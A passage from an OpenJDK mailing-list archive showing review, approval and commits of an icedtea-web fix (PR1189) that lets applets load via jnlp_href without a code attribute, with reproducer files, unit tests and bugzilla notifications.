earlier on IRC, Google Chrome does not launch applets that do not > have a code attribute defined. This is rather unfortunate as the main-class name > can be found within the jnlp file, if jnlp_href is used. > > As for Firefox, however, there is no dependency on the code attribute to > continue launching the applet. Just like the proprietary plugin, we should also > avoid the dependency of the code attribute if the information can be found > elsewhere. In cases where the jnlp file is missing the main-class attribute, it > will lead to a ParseException resembling similar behaviour of the proprietary > plugin since it's a requirement in a jnlp applet file. > > CHANGELOG - BUG FIX > ======================================================================== > 2012-12-10 Saad Mohammad > > Fix PR1189: Icedtea-plugin requires code attribute when using jnlp_href. > * netx/net/sourceforge/jnlp/PluginParameters.java (PluginParameters): > Updated if condition to prevent PluginParameterException from being thrown > if applet tag contains jnlp_href but is missing code/object parameters. > > CHANGELOG - REPRODUCER > ======================================================================== > 2012-12-10 Saad Mohammad > > Add reproducer for PR1189. > * > tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html: > Simple webpage which contains an applet tag with no code attribute. > * > tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.jnlp: > Jnlp file that is used by the webpages using jnlp_href. > * > tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java: > Testcase that tests applets without code attribute in html pages. > * tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java: > Simple applet class that outputs a string. > > > > Thanks for the update! comments below. > diff --git a/netx/net/sourceforge/jnlp/PluginParameters.java b/netx/net/sourceforge/jnlp/PluginParameters.java > --- a/netx/net/sourceforge/jnlp/PluginParameters.java > +++ b/netx/net/sourceforge/jnlp/PluginParameters.java > @@ -54,7 +54,8 @@ > this.parameters = createParameterTable(params); > > if (this.parameters.get("code") == null > - && this.parameters.get("object") == null) { > + && this.parameters.get("object") == null > + && this.parameters.get("jnlp_href") == null) { > throw new PluginParameterException(R("BNoCodeOrObjectApplet")); > } > } Is this all that is currently needed, ie are the main-class-name related changes from the previous patch already added ? A comment here about why jnlp_href causes the exception not to occur may be good. Can you take a look at the unit test (PluginParametersTest) and add something that executes this code-path (ie has a jnlp_href but not the other two) ? Otherwise good. > diff --git a/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletJnlpWithMainClass.jnlp b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletJnlpWithMainClass.jnlp > new file mode 100644 > --- /dev/null > +++ b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletJnlpWithMainClass.jnlp > @@ -0,0 +1,57 @@ > + > + > + > + > + AppletJnlpWithMainClass > + IcedTea > + > + AppletJnlpWithMainClass > + > + > + > + > + > + > + + documentBase="." > + name="SimpleApplet" > + main-class="SimpleApplet" > + width="100" > + height="100"> > + > + > diff --git a/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html > new file mode 100644 > --- /dev/null > +++ b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html > @@ -0,0 +1,44 @@ > + > + > +

> + > + > + > +

> + > + > diff --git a/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java > new file mode 100644 > --- /dev/null > +++ b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java > @@ -0,0 +1,57 @@ > +/* AppletTagWithMissingCodeAttribute.java > + Copyright (C) 2012 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > +*/ > + > +import junit.framework.Assert; > +import net.sourceforge.jnlp.ProcessResult; > +import net.sourceforge.jnlp.ServerAccess.AutoClose; > +import net.sourceforge.jnlp.browsertesting.BrowserTest; > +import net.sourceforge.jnlp.browsertesting.Browsers; > +import net.sourceforge.jnlp.closinglisteners.AutoOkClosingListener; > +import net.sourceforge.jnlp.annotations.TestInBrowsers; > +import org.junit.Test; > + > +public class AppletTagWithMissingCodeAttribute extends BrowserTest { > + > + final static String closingString = AutoOkClosingListener.MAGICAL_OK_CLOSING_STRING; > + > + @Test > + @TestInBrowsers(testIn = { Browsers.firefox }) > + public void EmbeddedAppletWithMissingCodeAttribute() throws Exception { > + ProcessResult pr = server.executeBrowser("/AppletTagWithMissingCodeAttribute.html", AutoClose.CLOSE_ON_CORRECT_END); > + Assert.assertTrue("Stdout should contain " + closingString + " but did not", pr.stdout.contains(closingString)); > + } > +} > diff --git a/tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java b/tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java > new file mode 100644 > --- /dev/null > +++ b/tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java > @@ -0,0 +1,47 @@ > +/* SimpleApplet.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.applet.Applet; > + > + at SuppressWarnings("serial") > +public class SimpleApplet extends Applet { > + > + @Override > + public void start() { > + System.out.println("*** APPLET FINISHED ***"); > + } > +} Reproducer looks good. Happy hacking, - Adam -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/826aabe6/attachment.html From smohammad at redhat.com Mon Dec 10 12:28:30 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Mon, 10 Dec 2012 15:28:30 -0500 Subject: [RFC][icedtea-web]: Small fix for PR1189 w/ reproducer In-Reply-To: <50C6345E.9020905@redhat.com> References: <50786165.3020400@redhat.com> <507DB72B.9040108@redhat.com> <50C62602.6030200@redhat.com> <50C6345E.9020905@redhat.com> Message-ID: <50C645EE.4020102@redhat.com> Hi Adam, Thanks for taking a look over the patches! Unit test is now attached with few comments below. CHANGELOG - Unittest ======================================================================== 2012-12-10 Saad Mohammad Add unit tests for PR1189. * tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java: (testConstructorWithNoCodeAndObjectParam): Initialize PluginParameters without code/object parameters. (testConstructorWithOnlyJnlpHrefParam): Initialize PluginParameters with jnlp_href but no code/object parameters. ======================================================================== On 12/10/2012 02:13 PM, Adam Domurad wrote: [...snip...] >> diff --git a/netx/net/sourceforge/jnlp/PluginParameters.java >> b/netx/net/sourceforge/jnlp/PluginParameters.java >> --- a/netx/net/sourceforge/jnlp/PluginParameters.java >> +++ b/netx/net/sourceforge/jnlp/PluginParameters.java >> @@ -54,7 +54,8 @@ >> this.parameters = createParameterTable(params); >> if (this.parameters.get("code") == null >> - && this.parameters.get("object") == null) { >> + && this.parameters.get("object") == null >> + && this.parameters.get("jnlp_href") == null) { >> throw new PluginParameterException(R("BNoCodeOrObjectApplet")); >> } >> } > > Is this all that is currently needed, ie are the main-class-name related changes > from the previous patch already added ? The main-class name related changes from previous patch have been already added through PR1166 fix. Therefore this is the only change needed for the fix. > > A comment here about why jnlp_href causes the exception not to occur may be good. > Will do! > Can you take a look at the unit test (PluginParametersTest) and add something > that executes this code-path (ie has a jnlp_href but not the other two) ? > See attached files. > Otherwise good. > [...snip...] UnitTest + Reproducer + Fix (with added comment) okay to push to HEAD? -- Cheers, Saad Mohammad -------------- next part -------------- A non-text attachment was scrubbed... Name: ChangelogUnitTest0-2.patch Type: text/x-patch Size: 583 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/e4d0be54/ChangelogUnitTest0-2.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: unitTest0-2.patch Type: text/x-patch Size: 1131 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/e4d0be54/unitTest0-2.patch From adomurad at redhat.com Mon Dec 10 14:08:34 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 10 Dec 2012 17:08:34 -0500 Subject: [RFC][icedtea-web]: Small fix for PR1189 w/ reproducer In-Reply-To: <50C645EE.4020102@redhat.com> References: <50786165.3020400@redhat.com> <507DB72B.9040108@redhat.com> <50C62602.6030200@redhat.com> <50C6345E.9020905@redhat.com> <50C645EE.4020102@redhat.com> Message-ID: <50C65D62.8020201@redhat.com> On 12/10/2012 03:28 PM, Saad Mohammad wrote: > Hi Adam, > > Thanks for taking a look over the patches! Unit test is now attached with few > comments below. > > CHANGELOG - Unittest > ======================================================================== > 2012-12-10 Saad Mohammad > > Add unit tests for PR1189. > * tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java: > (testConstructorWithNoCodeAndObjectParam): Initialize PluginParameters > without code/object parameters. > (testConstructorWithOnlyJnlpHrefParam): Initialize PluginParameters with > jnlp_href but no code/object parameters. > ======================================================================== > > On 12/10/2012 02:13 PM, Adam Domurad wrote: > > [...snip...] > >>> diff --git a/netx/net/sourceforge/jnlp/PluginParameters.java >>> b/netx/net/sourceforge/jnlp/PluginParameters.java >>> --- a/netx/net/sourceforge/jnlp/PluginParameters.java >>> +++ b/netx/net/sourceforge/jnlp/PluginParameters.java >>> @@ -54,7 +54,8 @@ >>> this.parameters = createParameterTable(params); >>> if (this.parameters.get("code") == null >>> - && this.parameters.get("object") == null) { >>> + && this.parameters.get("object") == null >>> + && this.parameters.get("jnlp_href") == null) { >>> throw new PluginParameterException(R("BNoCodeOrObjectApplet")); >>> } >>> } >> Is this all that is currently needed, ie are the main-class-name related changes >> from the previous patch already added ? > The main-class name related changes from previous patch have been already added > through PR1166 fix. Therefore this is the only change needed for the fix. > > > >> A comment here about why jnlp_href causes the exception not to occur may be good. >> > Will do! > >> Can you take a look at the unit test (PluginParametersTest) and add something >> that executes this code-path (ie has a jnlp_href but not the other two) ? >> > See attached files. > >> Otherwise good. >> > > [...snip...] > > UnitTest + Reproducer + Fix (with added comment) okay to push to HEAD? > Approved, go ahead. Also, I didn't know about the 'expected' exception specifier for @Test, quite neat. Thanks, -Adam From bugzilla-daemon at icedtea.classpath.org Mon Dec 10 14:30:28 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:30:28 +0000 Subject: [Bug 1189] Icedtea-plugin requires code attribute when using jnlp_href In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1189 Saad Mohammad changed: What |Removed |Added ---------------------------------------------------------------------------- Summary|Icedtea-plugin needs code |Icedtea-plugin requires |attribute instead of |code attribute when using |reading from jnlp. |jnlp_href -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/66579633/attachment.html From bugzilla-daemon at icedtea.classpath.org Mon Dec 10 14:32:36 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:32:36 +0000 Subject: [Bug 1189] Icedtea-plugin requires code attribute when using jnlp_href In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1189 --- Comment #1 from Saad Mohammad --- Google Chrome does not launch applets that do not have a code attribute defined. This is rather unfortunate as the main-class name can be found within the jnlp file, if jnlp_href is used. As for Firefox, however, there is no dependency on the code attribute to continue launching the applet. Just like the proprietary plugin, we should also avoid the dependency of the code attribute if the information can be found elsewhere. In cases where the jnlp file is missing the main-class attribute, it will lead to a ParseException resembling similar behaviour of the proprietary plugin since it's a requirement in a jnlp applet file. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/60847e6a/attachment.html From smohammad at icedtea.classpath.org Mon Dec 10 14:36:25 2012 From: smohammad at icedtea.classpath.org (smohammad at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:36:25 +0000 Subject: /hg/icedtea-web: PR1189: Icedtea-plugin requires code attribute ... Message-ID: changeset c6c31f239613 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=c6c31f239613 author: Saad Mohammad date: Mon Dec 10 17:35:50 2012 -0500 PR1189: Icedtea-plugin requires code attribute when using jnlp_href diffstat: ChangeLog | 7 +++++++ NEWS | 1 + netx/net/sourceforge/jnlp/PluginParameters.java | 4 +++- 3 files changed, 11 insertions(+), 1 deletions(-) diffs (39 lines): diff -r dc00e6d5a2f9 -r c6c31f239613 ChangeLog --- a/ChangeLog Thu Dec 06 10:04:06 2012 -0500 +++ b/ChangeLog Mon Dec 10 17:35:50 2012 -0500 @@ -1,3 +1,10 @@ +2012-12-10 Saad Mohammad + + Fix PR1189: Icedtea-plugin requires code attribute when using jnlp_href. + * netx/net/sourceforge/jnlp/PluginParameters.java (PluginParameters): + Updated if condition to prevent PluginParameterException from being thrown + if applet tag contains jnlp_href but is missing code/object parameters. + 2012-12-06 Adam Domurad * Makefile.am: Fix targets stamps/netx-unit-tests-compile.stamp and diff -r dc00e6d5a2f9 -r c6c31f239613 NEWS --- a/NEWS Thu Dec 06 10:04:06 2012 -0500 +++ b/NEWS Mon Dec 10 17:35:50 2012 -0500 @@ -20,6 +20,7 @@ - PR1106: Buffer overflow in plugin table- - PR1166: Embedded JNLP File is not supported in applet tag - PR1217: Add command line arguments for plugins + - PR1189: Icedtea-plugin requires code attribute when using jnlp_href * Common - PR1049: Extension jnlp's signed jar with the content of only META-INF/* is considered - PR955: regression: SweetHome3D fails to run diff -r dc00e6d5a2f9 -r c6c31f239613 netx/net/sourceforge/jnlp/PluginParameters.java --- a/netx/net/sourceforge/jnlp/PluginParameters.java Thu Dec 06 10:04:06 2012 -0500 +++ b/netx/net/sourceforge/jnlp/PluginParameters.java Mon Dec 10 17:35:50 2012 -0500 @@ -54,7 +54,9 @@ this.parameters = createParameterTable(params); if (this.parameters.get("code") == null - && this.parameters.get("object") == null) { + && this.parameters.get("object") == null + //If code/object parameters are missing, we can still determine the main-class name from the jnlp file passed using jnlp_href + && this.parameters.get("jnlp_href") == null) { throw new PluginParameterException(R("BNoCodeOrObjectApplet")); } } From bugzilla-daemon at icedtea.classpath.org Mon Dec 10 14:36:34 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:36:34 +0000 Subject: [Bug 1189] Icedtea-plugin requires code attribute when using jnlp_href In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1189 --- Comment #2 from hg commits --- details: http://icedtea.classpath.org//hg/icedtea-web?cmd=changeset;node=c6c31f239613 author: Saad Mohammad date: Mon Dec 10 17:35:50 2012 -0500 PR1189: Icedtea-plugin requires code attribute when using jnlp_href -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/edfd0057/attachment.html From smohammad at icedtea.classpath.org Mon Dec 10 14:43:10 2012 From: smohammad at icedtea.classpath.org (smohammad at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:43:10 +0000 Subject: /hg/icedtea-web: Reproducer for PR1189 Message-ID: changeset 5402d0a45fdf in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=5402d0a45fdf author: Saad Mohammad date: Mon Dec 10 17:42:41 2012 -0500 Reproducer for PR1189 diffstat: ChangeLog | 12 ++ tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletJnlpWithMainClass.jnlp | 57 ++++++++++ tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html | 44 +++++++ tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java | 57 ++++++++++ tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java | 47 ++++++++ 5 files changed, 217 insertions(+), 0 deletions(-) diffs (240 lines): diff -r c6c31f239613 -r 5402d0a45fdf ChangeLog --- a/ChangeLog Mon Dec 10 17:35:50 2012 -0500 +++ b/ChangeLog Mon Dec 10 17:42:41 2012 -0500 @@ -1,3 +1,15 @@ +2012-12-10 Saad Mohammad + + Add reproducer for PR1189. + * tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html: + Simple webpage which contains an applet tag with no code attribute. + * tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.jnlp: + Jnlp file that is used by the webpages using jnlp_href. + * tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java: + Testcase that tests applets without code attribute in html pages. + * tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java: + Simple applet class that outputs a string. + 2012-12-10 Saad Mohammad Fix PR1189: Icedtea-plugin requires code attribute when using jnlp_href. diff -r c6c31f239613 -r 5402d0a45fdf tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletJnlpWithMainClass.jnlp --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletJnlpWithMainClass.jnlp Mon Dec 10 17:42:41 2012 -0500 @@ -0,0 +1,57 @@ + + + + + AppletJnlpWithMainClass + IcedTea + + AppletJnlpWithMainClass + + + + + + + + + diff -r c6c31f239613 -r 5402d0a45fdf tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html Mon Dec 10 17:42:41 2012 -0500 @@ -0,0 +1,44 @@ + + +

+ + + +

+ + diff -r c6c31f239613 -r 5402d0a45fdf tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java Mon Dec 10 17:42:41 2012 -0500 @@ -0,0 +1,57 @@ +/* AppletTagWithMissingCodeAttribute.java + Copyright (C) 2012 Red Hat, Inc. + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License as published by +the Free Software Foundation, version 2. + +IcedTea is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ + +import junit.framework.Assert; +import net.sourceforge.jnlp.ProcessResult; +import net.sourceforge.jnlp.ServerAccess.AutoClose; +import net.sourceforge.jnlp.browsertesting.BrowserTest; +import net.sourceforge.jnlp.browsertesting.Browsers; +import net.sourceforge.jnlp.closinglisteners.AutoOkClosingListener; +import net.sourceforge.jnlp.annotations.TestInBrowsers; +import org.junit.Test; + +public class AppletTagWithMissingCodeAttribute extends BrowserTest { + + final static String closingString = AutoOkClosingListener.MAGICAL_OK_CLOSING_STRING; + + @Test + @TestInBrowsers(testIn = { Browsers.firefox }) + public void EmbeddedAppletWithMissingCodeAttribute() throws Exception { + ProcessResult pr = server.executeBrowser("/AppletTagWithMissingCodeAttribute.html", AutoClose.CLOSE_ON_CORRECT_END); + Assert.assertTrue("Stdout should contain " + closingString + " but did not", pr.stdout.contains(closingString)); + } +} diff -r c6c31f239613 -r 5402d0a45fdf tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java Mon Dec 10 17:42:41 2012 -0500 @@ -0,0 +1,47 @@ +/* SimpleApplet.java +Copyright (C) 2011 Red Hat, Inc. + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License as published by +the Free Software Foundation, version 2. + +IcedTea is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. + */ + +import java.applet.Applet; + + at SuppressWarnings("serial") +public class SimpleApplet extends Applet { + + @Override + public void start() { + System.out.println("*** APPLET FINISHED ***"); + } +} From bugzilla-daemon at icedtea.classpath.org Mon Dec 10 14:43:17 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:43:17 +0000 Subject: [Bug 1189] Icedtea-plugin requires code attribute when using jnlp_href In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1189 --- Comment #3 from hg commits --- details: http://icedtea.classpath.org//hg/icedtea-web?cmd=changeset;node=5402d0a45fdf author: Saad Mohammad date: Mon Dec 10 17:42:41 2012 -0500 Reproducer for PR1189 -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/432de80e/attachment.html From smohammad at icedtea.classpath.org Mon Dec 10 14:45:58 2012 From: smohammad at icedtea.classpath.org (smohammad at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:45:58 +0000 Subject: /hg/icedtea-web: Unit tests for PR1189 Message-ID: changeset 0187d8df56b4 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=0187d8df56b4 author: Saad Mohammad date: Mon Dec 10 17:45:36 2012 -0500 Unit tests for PR1189 diffstat: ChangeLog | 9 ++++ tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java | 20 ++++++++++ 2 files changed, 29 insertions(+), 0 deletions(-) diffs (44 lines): diff -r 5402d0a45fdf -r 0187d8df56b4 ChangeLog --- a/ChangeLog Mon Dec 10 17:42:41 2012 -0500 +++ b/ChangeLog Mon Dec 10 17:45:36 2012 -0500 @@ -1,3 +1,12 @@ +2012-12-10 Saad Mohammad + + Add unit tests for PR1189. + * tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java: + (testConstructorWithNoCodeAndObjectParam): Initialize PluginParameters + without code/object parameters. + (testConstructorWithOnlyJnlpHrefParam): Initialize PluginParameters with + jnlp_href but no code/object parameters. + 2012-12-10 Saad Mohammad Add reproducer for PR1189. diff -r 5402d0a45fdf -r 0187d8df56b4 tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java --- a/tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java Mon Dec 10 17:42:41 2012 -0500 +++ b/tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java Mon Dec 10 17:45:36 2012 -0500 @@ -111,4 +111,24 @@ } + /** + * Initialize PluginParameters without code/object parameters + */ + @Test(expected = PluginParameterException.class) + public void testConstructorWithNoCodeAndObjectParam() { + Map rawParams = new HashMap(); + rawParams.put("classid", "clsid:classidValue"); + new PluginParameters(rawParams); + } + + /** + * Initialize PluginParameters with jnlp_href but no code/object parameters + */ + @Test + public void testConstructorWithOnlyJnlpHrefParam() { + Map rawParams = new HashMap(); + rawParams.put("jnlp_href", "applet.jnlp"); + PluginParameters pluginParam = new PluginParameters(rawParams); + assertEquals("applet.jnlp", pluginParam.getJNLPHref()); + } } From bugzilla-daemon at icedtea.classpath.org Mon Dec 10 14:46:05 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:46:05 +0000 Subject: [Bug 1189] Icedtea-plugin requires code attribute when using jnlp_href In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1189 --- Comment #4 from hg commits --- details: http://icedtea.classpath.org//hg/icedtea-web?cmd=changeset;node=0187d8df56b4 author: Saad Mohammad date: Mon Dec 10 17:45:36 2012 -0500 Unit tests for PR1189 -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/45224f87/attachment.html From smohammad at redhat.com Mon Dec 10 14:49:55 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Mon, 10 Dec 2012 17:49:55 -0500 Subject: [RFC][icedtea-web]: Small fix for PR1189 w/ reproducer In-Reply-To: <50C65D62.8020201@redhat.com> References: <50786165.3020400@redhat.com> <507DB72B.9040108@redhat.com> <50C62602.6030200@redhat.com> <50C6345E.9020905@redhat.com> <50C645EE.4020102@redhat.com> <50C65D62.8020201@redhat.com> Message-ID: <50C66713.50804@redhat.com> On 12/10/2012 05:08 PM, Adam Domurad wrote: > Approved, go ahead. Thanks for the review & feedback Adam! PUSHED. Fix: http://icedtea.classpath.org/hg/icedtea-web/rev/c6c31f239613 Reproducer: http://icedtea.classpath.org/hg/icedtea-web/rev/5402d0a45fdf Unit-test: http://icedtea.classpath.org/hg/icedtea-web/rev/0187d8df56b4 -- Cheers, Saad Mohammad From bugzilla-daemon at icedtea.classpath.org Mon Dec 10 14:50:24 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Mon, 10 Dec 2012 22:50:24 +0000 Subject: [Bug 1189] Icedtea-plugin requires code attribute when using jnlp_href In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1189 Saad Mohammad changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution|--- |FIXED -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/7d02b7e9/attachment.html From bugzilla-daemon at icedtea.classpath.org Mon Dec 10 15:39:33 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Mon, 10 Dec 2012 23:39:33 +0000 Subject: [Bug 1238] New: Java fatal error - Linux Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1238 Bug ID: 1238 Summary: Java fatal error - Linux Classification: Unclassified Product: IcedTea Version: unspecified Hardware: x86 OS: Linux Status: NEW Severity: major Priority: P3 Component: IcedTea Assignee: gnu.andrew at redhat.com 